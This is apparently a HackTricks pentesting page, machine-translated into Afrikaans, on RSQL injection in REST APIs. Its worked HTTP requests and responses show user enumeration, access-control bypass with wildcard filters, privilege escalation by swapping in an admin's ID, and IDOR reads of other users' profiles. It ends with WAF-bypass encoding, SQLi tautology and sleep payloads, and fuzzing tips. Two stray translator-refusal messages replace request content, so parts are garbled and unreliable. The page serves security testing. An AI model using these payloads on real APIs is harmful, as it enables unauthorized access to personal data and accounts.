RSQL Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is RSQL?
RSQL is ’n navraagtaal ontwerp vir geparameteriseerde filtering van insette in RESTful APIs. Gebaseer op FIQL (Feed Item Query Language), oorspronklik gespesifiseer deur Mark Nottingham vir die navraag van Atom feeds, val RSQL op deur sy eenvoud en die vermoë om komplekse navrae op ’n kompakte en URI-voldoenende wyse oor HTTP uit te druk. Dit maak dit ’n uitstekende keuse as ’n algemene navraagtaal vir soek na REST-endpunte.
Oorsig
RSQL Injection is ’n kwesbaarheid in webtoepassings wat RSQL as ’n navraagtaal in RESTful APIs gebruik. Soortgelyk aan SQL Injection en LDAP Injection, ontstaan hierdie kwesbaarheid wanneer RSQL-filters nie behoorlik gesuiwer word nie, wat ’n aanvaller toelaat om kwaadwillige navrae in te spuit om data sonder magtiging te bekom, te wysig of te verwyder.
Hoe werk dit?
RSQL stel jou in staat om gevorderde navrae in RESTful APIs te bou, byvoorbeeld:
/products?filter=price>100;category==electronics
Dit vertaal na ’n gestruktureerde navraag wat produkte filtreer met ’n prys groter as 100 en kategorie “elektronika”.
As die toepassing nie gebruikersinvoer korrek valideer nie, kan ’n aanvaller die filter manipuleer om onverwagte navrae uit te voer, soos:
/products?filter=id=in=(1,2,3);delete_all==true
Of selfs voordeel trek om sensitiewe inligting te onttrek met Boolean-navrae of geneste subnavrae.
Risiko’s
- Blootstelling van sensitiewe data: ’n aanvaller kan inligting terugkry wat nie toeganklik behoort te wees nie.
- Datamodifikasie of -verwydering: Inspuiting van filters wat databasisrekords verander.
- Privilege escalation: Manipulasie van identifiseerders wat rolle toeken via filters om die toepassing te mislei deur toegang te verkry met die voorregte van ander gebruikers.
- Ontduiking van toegangsbeheer: Manipulasie van filters om tot beperkte data toegang te kry.
- Impersonation or IDOR: Verandering van identifiseerders tussen gebruikers deur filters wat toegang tot inligting en hulpbronne van ander gebruikers toelaat sonder behoorlike verifikasie.
Ondersteunde RSQL-operateurs
| Operator | Beskrywing | Voorbeeld |
|---|---|---|
; / and | Logiese AND-operator. Filter rye waar albei voorwaardes waar is | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Logiese OR-operator. Filter rye waar ten minste een voorwaarde waar is | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Voer ’n gelyk aan navraag uit. Keer alle rye van myTable terug waar waardes in columnA presies gelyk is aan queryValue | /api/v2/myTable?q=columnA==queryValue |
=q= | Voer ’n soek navraag uit. Keer alle rye van myTable terug waar waardes in columnA queryValue bevat | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Voer ’n like navraag uit. Keer alle rye van myTable terug waar waardes in columnA soos queryValue is | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Voer ’n in navraag uit. Keer alle rye van myTable terug waar columnA valueA OF valueB bevat | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Voer ’n exclude navraag uit. Keer alle rye van myTable terug waar waardes in columnA nie valueA of valueB is nie | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Voer ’n not equals navraag uit. Keer alle rye van myTable terug waar waardes in columnA nie gelyk is aan queryValue nie | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Voer ’n not like navraag uit. Keer alle rye van myTable terug waar waardes in columnA nie soos queryValue is nie | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Voer ’n kleiner as navraag uit. Keer alle rye van myTable terug waar waardes in columnA kleiner is as queryValue | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Voer ’n kleiner as of gelyk aan navraag uit. Keer alle rye van myTable terug waar waardes in columnA kleiner as of gelyk is aan queryValue | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Voer ’n groter as navraag uit. Keer alle rye van myTable terug waar waardes in columnA groter is as queryValue | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Voer ’n gelyk aan of groter as navraag uit. Keer alle rye van myTable terug waar waardes in columnA gelyk aan of groter as queryValue is | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Voer ’n van-tot navraag uit. Keer alle rye van myTable terug waar waardes in columnA gelyk aan of groter is as die fromValue, en kleiner as of gelyk aan die toValue | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Nota: Tabel gebaseer op inligting van MOLGENIS en rsql-parser applications.
Voorbeelde
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Nota: Tabel gebaseer op inligting van rsql-parser application.
Algemene filters
Hierdie filters help om navrae in APIs te verfyn:
| Filter | Beskrywing | Voorbeeld |
|---|---|---|
filter[users] | Filter resultate op spesifieke gebruikers | /api/v2/myTable?filter[users]=123 |
filter[status] | Filter op status (active/inactive, completed, ens.) | /api/v2/orders?filter[status]=active |
filter[date] | Filter resultate binne ’n datumreeks | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Filter op kategorie of hulpbrontipe | /api/v2/products?filter[category]=electronics |
filter[id] | Filter op ’n unieke identifiseerder | /api/v2/posts?filter[id]=42 |
Algemene parameters
Hierdie parameters help om API-antwoorde te optimaliseer:
| Parameter | Beskrywing | Voorbeeld |
|---|---|---|
include | Sluit verwante hulpbronne in die antwoord in | /api/v2/orders?include=customer,items |
sort | Sorteer resultate in stygende of dalende volgorde | /api/v2/users?sort=-created_at |
page[size] | Beheer die aantal resultate per bladsy | /api/v2/products?page[size]=10 |
page[number] | Spesifiseer die bladsynommer | /api/v2/products?page[number]=2 |
fields[resource] | Definieer watter velde in die antwoord teruggegee word | /api/v2/users?fields[users]=id,name,email |
search | Voer ’n meer buigsame soektog uit | /api/v2/posts?search=technology |
Inligtingslekkasie en enumerasie van gebruikers
Die volgende versoek wys ’n registrasie-endpoint wat die email-parameter vereis om te kontroleer of daar enige gebruiker met daardie e-pos geregistreer is en ’n true of false terug te gee, afhangend of dit in die databasis bestaan of nie:
Request
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ek het nie toegang tot die lêer src/pentesting-web/rsql-injection.md nie. Plak asseblief die inhoud hier, en ek sal dit presies volgens jou riglyne na Afrikaans vertaal.
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Alhoewel ’n /api/registrations?email=<emailAccount> verwag word, is dit moontlik om RSQL-filters te gebruik om te probeer enumerate en/of extract user information deur spesiale operators te gebruik:
Versoek
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I don’t have the contents of src/pentesting-web/rsql-injection.md. Please paste the markdown text you want translated to Afrikaans (I will preserve code, tags, links and paths as requested).
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
Indien dit met ’n geldige e-posrekening ooreenstem, sou die toepassing die gebruiker se inligting terugstuur in plaas van ’n klassieke “true”, “1” of wat ook al in die reaksie aan die bediener:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
In hierdie scenario begin ons met ’n user wat ’n basic role het en waarin ons nie privileged permissions (e.g. administrator) het om toegang te kry tot die lys van alle users wat in die database geregistreer is nie:
Versoek
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Ons maak weer gebruik van die filters en spesiale operatore wat ons ’n alternatiewe manier sal gee om die inligting van die gebruikers te bekom en die toegangskontrole te omseil. Byvoorbeeld, filtreer op daardie gebruikers wat die letter “a” in hul gebruikers ID bevat:
Versoek
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
Dit is baie waarskynlik om sekere endpoints te vind wat gebruikersvoorregte op grond van hul rol nagaan. Byvoorbeeld, ons het ’n gebruiker wat geen voorregte het:
Versoek
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Deur sekere operators te gebruik kon ons administrateur-gebruikers opnoem:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
As jy die identifier van ’n administrator user ken, sal dit moontlik wees om ’n privilege escalation te benut deur die ooreenstemmende filter te vervang of by te voeg met die administrator se identifier en sodoende dieselfde voorregte te kry:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Nabootsing of Insecure Direct Object References (IDOR)
Benewens die gebruik van die filter parameter, is dit moontlik om ander parameters te gebruik soos include wat toelaat om sekere parameters in die resultaat in te sluit (bv. taal, land, wagwoord…).
In die volgende voorbeeld word die inligting van ons gebruikersprofiel getoon:
Request
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Die kombinasie van filters kan gebruik word om autorisasiebeheer te omseil en toegang tot ander gebruikers se profiele te verkry:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwoord
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Opsporing & fuzzing vinnige wenke
- Kontroleer vir RSQL-ondersteuning deur onskadelike probes te stuur soos
?filter=id==test,?q==testof gemalformeerde operateurs=foo=; gedetailleerde APIs leak parser errors (“Unknown operator” / “Unknown property”). - Baie implementasies parse URL-parameters dubbel; probeer dubbel-enkodeer
(,),*,;(bv.%2528admin%2529) om naïewe blocklists en WAFs te omseil. - Boolean exfil met wildcards:
filter[users]=email==*%@example.com;status==ACTIVEen draai logika om met,(OR) om responsgrootte te vergelyk. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)tel vinnig op per jaar sonder om presiese IDs te ken.
Raamwerk-spesifieke misbruik (Elide / JPA Specification / JSON:API)
- Elide en baie Spring Data REST-projekte vertaal RSQL direk na JPA Criteria. As ontwikkelaars pasgemaakte operators (bv.
=ilike=) byvoeg en predicates bou deur string-konkatenasie in plaas van prepared parameters, kan jy na SQLi oorskakel (klassieke payload:name=ilike='%%' OR 1=1--'). - Elide analytic data store aanvaar parameterized columns; die kombinasie van user-controlled analytic params met RSQL-filters was die hoofoorsaak van SQLi in CVE-2022-24827. Selfs as gepatchte weergawes korrek parameteriseer, bly soortgelyke aangepaste kode dikwels bestaan—soek na
@JoinFilter/@ReadPermissionSpEL-expressies wat${}bevat en probeer';sleep(5);'of logiese tautologieë injecteer. - JSON:API backends stel gewoonlik beide
includeenfilterbloot. Filter op verwante resourcesfilter[orders]=customer.email==*admin*kan topvlak ACLs omseil omdat relation-level filters uitgevoer word voordat eienaarskapkontroles plaasvind.
Automatiseringshelpers
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"valideer payloads lokaal en wys die abstrakte sintaksisboom — nuttig om gebalanseerde parentheses en pasgemaakte operators te bou. - Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- Koppel aan HTTP fuzzer (ffuf, turbo-intruder) deur wildcard-posisies
*a*,*e*, ens., binne=in=-lyste te itereer om IDs en e-posse vinnig te enumerate.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


